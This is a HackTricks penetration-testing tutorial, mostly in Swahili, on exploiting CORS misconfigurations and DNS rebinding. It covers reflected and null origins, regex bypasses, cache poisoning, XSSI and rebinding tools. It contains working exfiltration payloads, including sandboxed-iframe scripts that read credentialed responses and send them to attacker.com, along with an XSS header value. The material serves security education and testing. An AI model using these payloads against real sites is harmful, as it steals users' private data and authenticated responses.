CORS - Misconfigurations & Bypass

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

CORS ni nini?

Cross-Origin Resource Sharing (CORS) standard inawezesha seva kutaja nani anayeweza kufikia rasilimali zao na ni mbinu gani za HTTP request zinazoruhusiwa kutoka vyanzo vya nje.

Sera ya same-origin inataka kwamba seva inayoiomba rasilimali na seva inayomiliki rasilimali zishiriki itifaki moja (mfano, http://), jina la domain (mfano, internal-web.com), na port (mfano, 80). Kwa sera hii, kuruhusiwa kufikia rasilimali ni kwa ajili ya kurasa za wavuti kutoka domain na port zilizo sawa tu.

Utekelezaji wa sera ya same-origin katika muktadha wa http://normal-website.com/example/example.html unaonyeshwa kama ifuatavyo:

URL accessedAccess permitted?
http://normal-website.com/example/Ndiyo: itifaki, domain, na port ni sawa
http://normal-website.com/example2/Ndiyo: itifaki, domain, na port ni sawa
https://normal-website.com/example/Hapana: itifaki na port ni tofauti
http://en.normal-website.com/example/Hapana: domain ni tofauti
http://www.normal-website.com/example/Hapana: domain ni tofauti
http://normal-website.com:8080/example/Hapana: port ni tofauti*

*Internet Explorer haisi kuzingatia nambari ya port wakati wa kutekeleza sera ya same-origin, hivyo kuruhusu ufikiaji huu.

Access-Control-Allow-Origin Header

Kichwa hiki kinaweza kuruhusu asili nyingi, thamani ya null, au wildcard *. Hata hivyo, hakuna kivinjari anayeunga mkono asili nyingi, na matumizi ya wildcard * yamo chini ya mipaka. (Wildcard lazima itumike peke yake, na matumizi yake pamoja na Access-Control-Allow-Credentials: true hayaruhusiwi.)

Kichwa hiki hutolewa na seva kama jibu kwa ombi la rasilimali la cross-domain lililoanzishwa na tovuti, huku kivinjari kikiweka moja kwa moja kichwa cha Origin.

Access-Control-Allow-Credentials Header

Kwa chaguo-msingi, maombi ya cross-origin hufanywa bila credentials kama cookies au kichwa cha Authorization. Hata hivyo, seva ya cross-domain inaweza kuruhusu kusomwa kwa majibu wakati credentials zinapotumwa kwa kuweka kichwa Access-Control-Allow-Credentials kuwa true.

Ikiwa imewekwa kuwa true, kivinjari kitatuma credentials (cookies, vichwa vya authorization, au cheti za mteja za TLS).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Ombi la pre-flight

Kuelewa Pre-flight Requests katika Mawasiliano ya Cross-Domain

Unapoanzisha ombi la cross-domain chini ya masharti maalum, kama kutumia non-standard HTTP method (chochote isipokuwa HEAD, GET, POST), kuanzisha headers mpya, au kutumia thamani maalum ya Content-Type header, inaweza kuhitajika ombi la pre-flight. Ombi hili la awali, likitumia method ya OPTIONS, linalenga kumjulisha server nia za ombi la cross-origin linalokuja, ikijumuisha HTTP methods na headers linazoikusudia kutumia.

Protocol ya Cross-Origin Resource Sharing (CORS) inalazimisha ukaguzi huu wa pre-flight ili kuamua uwezekano wa operation ya cross-origin iliyohitajika kwa kuthibitisha methods zilizoruhusiwa, headers, na uaminifu wa origin. Kwa ufahamu wa kina wa vigezo vinavyoondoa uhitaji wa ombi la pre-flight, rejea mwongozo wa kina uliopewa na Mozilla Developer Network (MDN).

Ni muhimu kutambua kwamba kukosekana kwa ombi la pre-flight hakumaanishi kuondolewa kwa sharti la jibu kubeba authorization headers. Bila headers hizi, browser hawezi kusindika response kutoka kwa ombi la cross-origin.

Angalia mfano ufuatao wa ombi la pre-flight linalolenga kutumia method ya PUT pamoja na header maalum inayoitwa Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Kwa jibu, server inaweza kurudisha headers zinazoonyesha accepted methods, allowed origin, na maelezo mengine ya sera ya CORS, kama inavyoonyeshwa hapa chini:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Kichwa hiki kinaelezea vichwa gani vinaweza kutumika wakati wa ombi halisi. Kimewekwa na seva ili kuonyesha vichwa vinavyoruhusiwa katika maombi kutoka kwa mteja.
  • Access-Control-Expose-Headers: Kupitia kichwa hiki, seva inamjulisha mteja kuhusu vichwa vinavyoweza kufichuliwa kama sehemu ya majibu mbali na vichwa rahisi vya majibu.
  • Access-Control-Max-Age: Kichwa hiki kinaonyesha muda ambao matokeo ya ombi la pre-flight yanaweza kuhifadhiwa katika cache. Seva inaweka muda wa juu, kwa sekunde, ambao taarifa iliyorejeshwa na ombi la pre-flight inaweza kutumika tena.
  • Access-Control-Request-Headers: Kutumika katika ombi za pre-flight, kichwa hiki kimewekwa na mteja kumjulisha seva kuhusu vichwa vya HTTP ambavyo mteja anataka kutumia katika ombi halisi.
  • Access-Control-Request-Method: Kichwa hiki, pia kinachotumika katika ombi za pre-flight, kimewekwa na mteja kuonyesha ni njia gani ya HTTP itatumika katika ombi halisi.
  • Origin: Kichwa hiki kimewekwa moja kwa moja na browser na kinaonyesha asili ya ombi la cross-origin. Inatumika na seva kutathmini kama ombi linafaa kuruhusiwa au la kulingana na sera ya CORS.

Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.
Therefore, CORS doesn’t protect against CSRF (but it can be helpful).

Maombi ya Mtandao wa Ndani - ombi la pre-flight

  1. Access-Control-Request-Local-Network: Kichwa hiki kinajumuishwa katika ombi la mteja kuashiria kwamba uchunguzi unalenga rasilimali ya mtandao wa ndani. Kinatumika kama alama kumjulisha seva kuwa ombi linatoka ndani ya mtandao wa ndani.
  2. Access-Control-Allow-Local-Network: Katika majibu, seva hutumia kichwa hiki kuonyesha kuwa rasilimali uliyoomba inaruhusiwa kushirikiwa na pande zilizo nje ya mtandao wa ndani. Hufanya kama ishara ya kuwaruhusu kushiriki rasilimali mipakani kati ya mitandao tofauti, ikihakikisha upatikanaji uliodhibitiwa huku ukidumisha protokoli za usalama.

Majibu sahihi yanayoruhusu ombi la mtandao wa ndani yanapaswa pia kuwa na kichwa katika majibu Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

Kumbuka kwamba linux 0.0.0.0 IP inafanya kazi kubypass mahitaji haya ili kufikia localhost kwa kuwa anwani hiyo ya IP haizingatiwi kama “local”.

Pia inawezekana bypass the Local Network requirements ikiwa utatumia public IP address of a local endpoint (kama public IP ya router). Kwa sababu mara kadhaa, hata kama public IP inafikiwa, ikiwa ni from the local network, ufikiaji utaidhinishwa.

Wildcards

Kumbuka kwamba hata kama usanidi ufuatao unaweza kuonekana kuwa wa kuruhusu sana:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Hii hairuhusiwi na browsers; kwa hivyo credentials hazitatumwa na ombi linaloruhusiwa na hili.

Misconfigurations Zinazoweza Kutumika

Imeonekana kuwa kuweka Access-Control-Allow-Credentials kwa true ni sharti kwa wengi wa shambulio halisi. Mipangilio hii inaruhusu browser kutuma credentials na kusoma response, hivyo kuimarisha ufanisi wa shambulio. Bila hii, faida ya kuwafanya browser kutuma ombi badala ya kufanya wewe mwenyewe inapungua, kwani kutumia cookies za mtumiaji inakuwa haiwezekani.

Isipokuwa: Kutumia Network Location kama Authentication

Kuna isipokuwa ambapo eneo la mtandao la mhanga linatumika kama aina ya authentication. Hii inaruhusu browser ya mhanga kutumika kama proxy, kuepuka authentication inayotegemea IP ili kufikia applications za intranet. Njia hii inafanana kwa athari na DNS rebinding lakini ni rahisi zaidi kuichukua faida.

Kurejesha Origin katika Access-Control-Allow-Origin

Katika mazingira ya dunia halisi ambapo thamani ya header ya Origin inareflect ndani ya Access-Control-Allow-Origin ni kwa nadharia isiyoweza kutokea mara kwa mara kutokana na vizuizi vya kuunganisha headers hizi. Hata hivyo, waendelezaji wanaotaka kuwezesha CORS kwa URLs nyingi wanaweza kwa dynamic kuunda header ya Access-Control-Allow-Origin kwa kunakili thamani ya header ya Origin. Mbinu hii inaweza kuleta udhaifu, hasa pale mshambuliaji anapotumia domain yenye jina lililotengenezwa kuonekana halali, hivyo kudanganya mantiki ya validation.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Exploiting the null Origin

Origin ya null, iliyotajwa kwa hali kama redirects au faili za HTML za ndani, ina nafasi ya kipekee. Baadhi ya programu zinaorodhesha origin hii kwenye whitelist ili kuwezesha local development, bila kutarajia zikiruhusu tovuti yoyote kuiga origin ya null kupitia sandboxed iframe, na hivyo kukwepa vikwazo vya CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

Unapokutana na domain whitelist, ni muhimu kujaribu fursa za bypass, kama kuongeza domain ya mshambuliaji kwenye domain iliyopo kwenye whitelist au kutumia subdomain takeover vulnerabilities. Aidha, regular expressions zinazotumika kwa uhalali wa domain zinaweza kupuuza nuances katika kanuni za uandishi wa majina ya domain, zikitoa fursa zaidi za bypass.

Advanced Regular Expression Bypasses

Regex patterns kawaida hujikita kwenye alphanumeric, dot (.), na hyphen (-) characters, zikipuuzia uwezekano mwingine. Kwa mfano, jina la domain lililotengenezwa linalojumuisha characters zinazotafsiriwa tofauti na browsers na regex patterns linaweza bypass security checks. Safari, Chrome, na Firefox jinsi zinavyoshughulikia underscore characters katika subdomains inaonyesha jinsi tofauti hizo zinaweza kutumika kuzunguka logic ya uhalali wa domain.

For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

From XSS inside a subdomain

Waendelezaji mara nyingi huweka mbinu za kujilinda ili kuzuia CORS exploitation kwa kuweka domains kwenye whitelist ambazo zinaruhusiwa kuomba taarifa. Licha ya tahadhari hizi, usalama wa mfumo hauko salama kabisa. Hata uwepo wa subdomain moja tu iliyo dhaifu ndani ya domains zilizo kwenye whitelist unaweza kufungua mlango kwa CORS exploitation kupitia udhaifu mwingine, kama XSS (Cross-Site Scripting).

To illustrate, consider the scenario where a domain, requester.com, is whitelisted to access resources from another domain, provider.com. The server-side configuration might look something like this:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Katika mpangilio huu, subdomain zote za requester.com zinaruhusiwa kupata ufikiaji. Hata hivyo, ikiwa subdomain, kwa mfano sub.requester.com, imevamiwa kwa udhaifu wa XSS, mshambuliaji anaweza kutumia udhaifu huu. Kwa mfano, mshambuliaji mwenye ufikiaji wa sub.requester.com anaweza kutumia udhaifu wa XSS kupita sera za CORS na kupata rasilimali kwa madhumuni mabaya kwenye provider.com.

Herufi Maalum

PortSwigger’s URL validation bypass cheat sheet iligundua kwamba baadhi ya vivinjari vinaunga mkono herufi za ajabu ndani ya majina ya domain.

Chrome na Firefox zinaunga mkono underscores _ ambazo zinaweza kupita regexes zilizotekelezwa kuhakiki header ya Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari ni hata mvumilivu zaidi na huruhusu alama maalum katika jina la kikoa:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Mbinu nyingine za ujanja za URL

URL Format Bypass

Server-side cache poisoning

From this research

Inawezekana kwamba kwa kutumia server-side cache poisoning kupitia HTTP header injection, inaweza kusababisha stored Cross-Site Scripting (XSS). Hali hii hutokea wakati programu inashindwa kusafisha header ya Origin dhidi ya tabia zisizo halali, na hivyo kuunda udhaifu hasa kwa watumiaji wa Internet Explorer na Edge. Vichunguzi hivi huchukulia (0x0d) kama terminator halali wa HTTP header, na hivyo kupelekea HTTP header injection vulnerabilities.

Angalia ombi lifuatalo ambapo header ya Origin imebadilishwa:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer na Edge hufasiri jibu kama:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Wakati kutekeleza moja kwa moja udhaifu huu kwa kufanya web browser itume header iliyotengenezwa vibaya si jambo linalowezekana, ombi lililofumwa kwa ustadi linaweza kutengenezwa kwa mkono kwa kutumia zana kama Burp Suite. Njia hii inaweza kusababisha server-side cache kuhifadhi majibu na bila kukusudia kuiwahudumia wengine. Payload iliyotengenezwa inalenga kubadilisha character set ya ukurasa hadi UTF-7, encoding ya tabia ya herufi mara nyingi inayohusishwa na XSS kutokana na uwezo wake wa kuandika herufi kwa njia ambazo zinaweza kutekelezwa kama script katika muktadha fulani.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Note: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.

Client-Side cache poisoning

From this research

Katika tukio hili, kuna mfano wa ukurasa wa wavuti unaorejesha yaliyomo ya header maalum ya HTTP bila kufanyiwa encoding sahihi. Hasa, ukurasa huo unarejesha yaliyomo yaliyojumuishwa katika header ya X-User-id, ambayo inaweza kujumuisha JavaScript yenye madhara, kama inavyoonyeshwa na mfano ambapo header ina tagi ya picha ya SVG iliyoundwa kutekeleza JavaScript wakati wa load.

Cross-Origin Resource Sharing (CORS) policies zinaruhusu kutumwa kwa headers maalum. Hata hivyo, bila majibu kutumika moja kwa moja na browser kutokana na vizuizi vya CORS, matumizi ya aina ya injection yanaweza kuonekana kuwa ya mdogo. Hoja muhimu inatokea tunapochunguza tabia ya cache ya browser. Ikiwa header ya Vary: Origin haijaelezwa, kuna uwezekano majibu yenye madhara kuhifadhiwa kwenye cache ya browser. Baadaye, majibu hayo yaliyohifadhiwa yanaweza kuonyeshwa moja kwa moja wakati wa kuvinjari URL, kuepuka haja ya uwasilishaji wa moja kwa moja wakati wa ombi la kwanza. Mbinu hii inaongeza uaminifu wa shambulio kwa kutumia client-side caching.

Kwa kuonyesha shambulio hili, mfano wa JavaScript umeonyeshwa, ulioundwa kutekelezwa katika mazingira ya ukurasa wa wavuti, kama kupitia JSFiddle. Script hii inafanya kitendo rahisi: inatuma ombi kwa URL maalum kwa header maalum yenye JavaScript yenye madhara. Baada ya ombi kufanikiwa, inajaribu kuvinjari hadi URL lengwa, kwa kuweza kusababisha utekelezwaji wa script iliyochanganywa ikiwa majibu yalihifadhiwa kwenye cache bila kushughulikiwa ipasavyo header ya Vary: Origin.

Hapa kuna muhtasari wa JavaScript iliyotumika kutekeleza shambulio hili:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Kupitisha

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, pia inajulikana kama Cross-Site Script Inclusion, ni aina ya udhaifu unaotumia ukweli kwamba Same Origin Policy (SOP) haifanyi kazi wakati rasilimali zinajumuishwa kwa kutumia tag ya script. Hii ni kwa sababu scripts zinaweza kuhitaji kujumuishwa kutoka kwa domain tofauti. Udhaifu huu unamruhusu mshambuliaji kufikia na kusoma yaliyomo yote yaliyojumuishwa kwa kutumia tag ya script.

Udhaifu huu unakuwa muhimu hasa linapokuja JavaScript yenye nguvu au JSONP (JSON with Padding), hasa wakati taarifa za mamlaka ya mazingira kama cookies zinatumika kwa uthibitisho. Wakati unapoomba rasilimali kutoka kwa host tofauti, cookies zinasomwa, na hivyo kuwazikwa kwa mshambuliaji.

Ili kuelewa vizuri na kupunguza udhaifu huu, unaweza kutumia plugin ya BurpSuite inayopatikana kwenye https://github.com/kapytein/jsonp. Plugin hii inaweza kusaidia kutambua na kushughulikia XSSI zinazoweza kuwepo katika web applications yako.

Soma zaidi kuhusu aina tofauti za XSSI na jinsi ya kuzitumia hapa.

Jaribu kuongeza parameter ya callback katika request. Huenda ukurasa ulikuwa umeandaliwa kutuma data kama JSONP. Katika kesi hiyo ukurasa utarejesha data na Content-Type: application/javascript ambayo itapitia sera ya CORS.

Rahisi (isiyokuwa na maana?) bypass

Njia moja ya kupitisha ukomo wa Access-Control-Allow-Origin ni kwa kuiomba web application ifanye request kwa niaba yako na itume jibu kurudi kwako. Hata hivyo, katika hali hii, vitambulisho vya mwanadamu wa mwisho havitatumwa kwa kuwa request inafanywa kwa domain tofauti.

  1. CORS-escape: Zana hii inatoa proxy inayotuma request yako pamoja na headers zake, wakati pia ikifanyia spoof Origin header ili ifanane na domain iliyohitajika. Hii kwa ufanisi inapitia sera ya CORS. Hapa kuna mfano wa matumizi pamoja na XMLHttpRequest:
  2. simple-cors-escape: Zana hii inatoa njia mbadala ya proxying requests. Badala ya kupitisha request yako kama ilivyo, server inafanya request yake mwenyewe kwa vigezo vilivyobainishwa.

Iframe + Popup Bypass

Unaweza kupitisha ukaguzi wa CORS kama e.origin === window.origin kwa kuunda iframe na kutoka ndani yake kufungua window mpya. Maelezo zaidi kwenye ukurasa ufuatao:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding kupitia TTL ni mbinu inayotumika kupitisha baadhi ya dhamana za usalama kwa kuharibu rekodi za DNS. Hivi ndivyo inavyofanya kazi:

  1. Mshambuliaji anaunda ukurasa wa web na kumfanya mwathiriwa aupitie.
  2. Mshambuliaji kisha anabadilisha DNS (IP) ya domain yake mwenyewe ili ionyesha kwenye ukurasa wa web wa mwathiriwa.
  3. Browser ya mwathiriwa inahifadhi jibu la DNS, ambalo linaweza kuwa na thamani ya TTL (Time to Live) inayoonyesha kwa muda gani rekodi ya DNS inapaswa kuchukuliwa kuwa halali.
  4. Wakati TTL inapokwisha, browser ya mwathiriwa inafanya request mpya ya DNS, ikimruhusu mshambuliaji kutekeleza JavaScript kwenye ukurasa wa mwathiriwa.
  5. Kwa kudumisha udhibiti wa IP ya mwathiriwa, mshambuliaji anaweza kukusanya taarifa kutoka kwa mwathiriwa bila kutuma cookies kwa server ya mwathiriwa.

Ni muhimu kutambua kwamba browsers zina mifumo ya caching ambayo inaweza kuzuia matumizi ya papo kwa papo ya mbinu hii, hata kwa TTL ndogo.

DNS rebinding inaweza kuwa muhimu kupitisha ukaguzi wa IP zilizowekwa na mwathiriwa au kwa senario ambapo mtumiaji au bot anabaki kwenye ukurasa mmoja kwa muda mrefu, hivyo kuruhusu cache kuisha.

Ikiwa unahitaji njia ya haraka ya kutumia DNS rebinding, unaweza kutumia huduma kama https://lock.cmpxchg8b.com/rebinder.html.

Ili kuendesha server yako mwenyewe ya DNS rebinding, unaweza kutumia zana kama DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Hii inahusisha kufunua bandari yako ya ndani 53/udp, kuunda rekodi A inayoiweka kwenda kwake (mfano, ns.example.com), na kuunda rekodi NS inayorejelea subdomain iliyoundwa hapo awali (mfano, ns.example.com). Subdomain yoyote ya ns.example.com kisha itatatuliwa na mwenye mwenyeji wako.

Unaweza pia kuchunguza server inayokimbia hadharani kwenye http://rebind.it/singularity.html kwa kuelewa zaidi na majaribio.

DNS Rebinding via DNS Cache Flooding

DNS rebinding kupitia DNS cache flooding ni mbinu nyingine inayotumika kupitisha mfumo wa caching wa browsers na kulazimisha ombi la pili la DNS. Hivi ndivyo inavyofanya kazi:

  1. Awali, wakati mwathiriwa anafanya ombi la DNS, inajibiwa na IP ya mshambuliaji.
  2. Ili kupitisha ulinzi wa caching, mshambuliaji anatumia service worker. Service worker inajaza DNS cache, ambayo kwa ufanisi inafuta jina la server la mshambuliaji lililohifadhiwa.
  3. Wakati browser ya mwathiriwa inafanya ombi la pili la DNS, sasa linajibiwa na anwani ya IP 127.0.0.1, ambayo kwa kawaida inarejea localhost.

Kwa kujaza DNS cache kwa service worker, mshambuliaji anaweza kubadili mchakato wa utatuzi wa DNS na kulazimisha browser ya mwathiriwa kufanya ombi la pili, wakati huo ikitatuliwa kwa anwani ya IP inayohitajika na mshambuliaji.

DNS Rebinding via Cache

Njia nyingine ya kupitisha ulinzi wa caching ni kwa kutumia anwani nyingi za IP kwa subdomain ile ile katika mtoa huduma wa DNS. Hivi ndivyo inavyofanya kazi:

  1. Mshambuliaji anaweka rekodi mbili za A (au rekodi A moja yenye IP mbili) kwa subdomain ile ile katika mtoa huduma wa DNS.
  2. Wakati browser inakagua rekodi hizi, inapokea anwani zote mbili za IP.
  3. Ikiwa browser itaamua kutumia IP ya mshambuliaji kwanza, mshambuliaji anaweza kutumikia payload inayofanya HTTP requests kwa domain ile ile.
  4. Hata hivyo, mara mshambuliaji anapopata IP ya mwathiriwa, wanaacha kujibu browser ya mwathiriwa.
  5. Browser ya mwathiriwa, ikitambua kwamba domain haijibu, inasonga kutumia anwani ya pili ya IP iliyotolewa.
  6. Kwa kufikia anwani ya pili ya IP, browser inapitia Same Origin Policy (SOP), ikiruhusu mshambuliaji kutumia hii kukusanya na kupeleka nje taarifa.

Mbinu hii inatumia mwenendo wa browsers wakati anwani za IP nyingi zinatolewa kwa domain. Kwa kudhibiti majibu kwa mikakati na kubadilisha uchaguzi wa browser wa anwani za IP, mshambuliaji anaweza kutekeleza SOP na kufikia habari kutoka kwa mwathiriwa.

Warning

Kumbuka kwamba ili kufikia localhost unapaswa kujaribu ku-rebind 127.0.0.1 katika Windows na 0.0.0.0 katika linux.
Providers kama godaddy au cloudflare hawakuniruhusu kutumia ip 0.0.0.0, lakini AWS route53 iliniruhusu kuunda rekodi A moja yenye IP 2 ambapo mojawapo yao ilikuwa “0.0.0.0”

Kwa taarifa zaidi unaweza angalia https://unit42.paloaltonetworks.com/dns-rebinding/

Njia Nyingine za Kawaida za Kupitisha

  • Ikiwa internal IPs haziruhusiwi, wanaweza kusahau kupiga marufuku 0.0.0.0 (inafanya kazi kwenye Linux na Mac)
  • Ikiwa internal IPs haziruhusiwi, jibu kwa CNAME kwenda localhost (inafanya kazi kwenye Linux na Ma
  • Ikiwa internal IPs haziruhusiwi kama majibu ya DNS, unaweza kujibu CNAMEs kwa huduma za ndani kama www.corporate.internal.

DNS Rebidding Weaponized

Unaweza kupata taarifa zaidi kuhusu mbinu za kupitisha zilizotajwa hapo juu na jinsi ya kutumia zana ifuatayo katika mazungumzo Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin ni zana ya kufanya mashambulizi ya DNS rebinding. Inajumuisha vipengele vinavyohitajika ku-rebind anwani ya IP ya jina la DNS la server ya mshambuliaji kwa anwani ya IP ya mashine lengwa na kutumikia payloads za shambulizi ili kufaida software zilizo hatarini kwenye mashine lengwa.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH kwa urahisi huingiza muundo wa kawaida wa DNS wa RFC1035 ndani ya HTTPS (kawaida POST na Content-Type: application/dns-message). Resolver bado inajibu na resource records sawa, hivyo mbinu za kuvunja SOP zinaendelea kufanya kazi hata wakati browsers zinatatua hostname inayodhibitiwa na mshambuliaji kupitia TLS.

Mambo Muhimu

  • Chrome (Windows/macOS) na Firefox (Linux) zinaweza kwa mafanikio ku-rebind wakati zimesanidiwa kwa resolvers za DoH za Cloudflare, Google, au OpenDNS. Usimbaji wa usafirishaji hauchelewesi wala kuzuizi mtiririko wa shambulizi kwa mikakati ya first-then-second, multiple-answers, au DNS cache flooding.
  • Public resolvers bado zinaona kila query, lakini mara chache zinafanya utekelezaji wa host-to-IP mapping ambayo browser inapaswa kuheshimu. Mara server ya mamlaka inaporudisha mfululizo wa rebind, browser inahifadhi tuple ya asili ya origin wakati ikijiunga na IP mpya.

Mikakati ya Singularity na muda juu ya DoH

  • First-then-second inabaki chaguo la kuaminika zaidi: lookup ya kwanza inarudisha IP ya mshambuliaji inayotumikia payload, kila lookup iliyofuata inarudisha IP ya ndani/localhost. Kwa cache za kawaida za browser hili hubadilisha trafiki ndani ya ~40–60 sekunde, hata wakati recursive resolver inapatikana tu kupitia HTTPS.
  • Multiple answers (fast rebinding) bado inafika localhost kwa <3 sekunde kwa kujibu na rekodi mbili za A (IP ya mshambuliaji + 0.0.0.0 kwenye Linux/macOS au 127.0.0.1 kwenye Windows) na kwa mpangilio kutofanya kazi IP ya kwanza (kwa mfano, iptables -I OUTPUT -d <attacker_ip> -j DROP) muda mfupi baada ya ukurasa kupakia. Utekelezaji wa DoH wa Firefox unaweza kutoa queries za DNS mara kwa mara, hivyo ufumbuzi wa Singularity ni kupanga kanuni ya firewall kuhusiana na timestamp ya query ya kwanza badala ya kufufua wakati kwa kila query.

Kundua “rebind protection” katika watoa DoH

  • Watoa huduma wengine (mfano, NextDNS) hubadilisha majibu ya private/loopback na 0.0.0.0, lakini Linux na macOS kwa furaha hurudisha destination hiyo kwa huduma za localhost. Kurudisha kwa makusudi 0.0.0.0 kama rekodi ya pili kwa hivyo bado kunapindua origin hadi localhost.
  • Kuchuja tu majibu ya moja kwa moja ya A/AAAA hakuwezi: kurudisha CNAME kwa hostname ya ndani tu kunafanya public DoH resolver kuendeleza alias wakati browsers kama Firefox zinarudi mfumo wa DNS wa OS kwa eneo la ndani, kukamilisha utatuzi hadi IP ya kibinafsi ambayo bado inachukuliwa kama origin ya mshambuliaji.

Tabia ya DoH maalum kwa browser

  • Firefox DoH inafanya kazi katika mode ya fallback: kosa lolote la DoH (ikiwa ni pamoja na lengo la CNAME lisilotatuliwa) linaanzisha lookup ya wazi kupitia resolver ya OS, ambayo kwa kawaida ni server ya DNS ya kampuni inayojua namespace ya ndani. Tabia hii ndiyo inafanya bypass ya CNAME kuwa ya kuaminika ndani ya mtandao wa kampuni.
  • Chrome DoH inawezeshwa tu wakati DNS ya OS inaonyesha resolver ya recursive ya DoH iliyoorodheshwa (Cloudflare, Google, Quad9, n.k.) na haisambazi mnyororo ule ule wa fallback. Hostnames za ndani zinazopatikana tu kwenye DNS ya kampuni hivyo zashindwa kutatuliwa, lakini rebind kuelekea localhost au anwani yoyote inayoweza kupitwa bado inafanikiwa kwa sababu mshambuliaji anasimamia set kamili ya majibu.

Kupima na kufuatilia mtiririko wa DoH

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS na weka endpoint ya DoH (Cloudflare na NextDNS zimeshaletwa). Chrome/Chromium: wezesha chrome://flags/#dns-over-https na sanidi server za DNS za OS kwa moja ya resolvers zinazotiwa saini na Chrome (mfano, 1.1.1.1/1.0.0.1).
  • Unaweza kuuliza APIs za DoH za umma moja kwa moja, kwa mfano curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq kuthibitisha rekodi halisi ambazo browsers zitahifadhi.
  • Kufyonza DoH ndani ya Burp/ZAP bado kunafanya kazi kwa sababu ni tu HTTPS (payload ya binary ya DNS kwenye body). Kwa uchunguzi wa packet-level, hamisha funguo za TLS (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) kabla ya kuanzisha browser na ruhusu Wireshark kufichua kikao za DoH na display filter dns kuona wakati browser inabaki kwenye DoH au kurudi nyuma kwenye DNS ya kawaida.

Ulinzi Halisi dhidi ya DNS Rebinding

  • Tumia TLS katika services za ndani
  • Omba uthibitisho (authentication) kufikia data
  • Thibitisha header ya Host
  • https://wicg.github.io/private-network-access/: Pendekezo la kutuma kila wakati ombi la pre-flight wakati servers za umma zinataka kufikia servers za ndani

Zana

Fuzz possible misconfigurations in CORS policies

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks